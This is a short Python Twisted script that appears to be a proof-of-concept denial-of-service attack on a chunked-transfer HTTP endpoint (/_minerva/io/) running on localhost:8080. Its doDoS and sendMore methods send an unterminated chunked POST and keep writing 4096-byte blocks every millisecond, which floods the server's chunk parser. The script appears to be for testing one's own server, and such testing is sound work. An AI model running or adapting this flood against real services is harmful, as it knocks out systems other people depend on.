| 1 | import sys |
|---|
| 2 | from twisted.python import log |
|---|
| 3 | log.startLogging(sys.stdout) |
|---|
| 4 | |
|---|
| 5 | from twisted.internet import reactor |
|---|
| 6 | from twisted.internet.protocol import Factory, Protocol |
|---|
| 7 | from twisted.internet.endpoints import TCP4ClientEndpoint |
|---|
| 8 | |
|---|
| 9 | class Greeter(Protocol): |
|---|
| 10 | def dataReceived(self, data): |
|---|
| 11 | print "Got:", repr(data) |
|---|
| 12 | |
|---|
| 13 | def doDoS(self): |
|---|
| 14 | self.transport.setTcpNoDelay(True) |
|---|
| 15 | self.transport.write("POST /_minerva/io/ HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n") |
|---|
| 16 | reactor.callLater(0.001, self.sendMore) |
|---|
| 17 | |
|---|
| 18 | def sendMore(self): |
|---|
| 19 | print "." |
|---|
| 20 | reactor.callLater(0.001, self.sendMore) |
|---|
| 21 | self.transport.write("7" * 4096) |
|---|
| 22 | |
|---|
| 23 | class GreeterFactory(Factory): |
|---|
| 24 | def buildProtocol(self, addr): |
|---|
| 25 | return Greeter() |
|---|
| 26 | |
|---|
| 27 | def gotProtocol(p): |
|---|
| 28 | p.doDoS() |
|---|
| 29 | |
|---|
| 30 | point = TCP4ClientEndpoint(reactor, "localhost", 8080) |
|---|
| 31 | d = point.connect(GreeterFactory()) |
|---|
| 32 | d.addCallback(gotProtocol) |
|---|
| 33 | reactor.run() |
|---|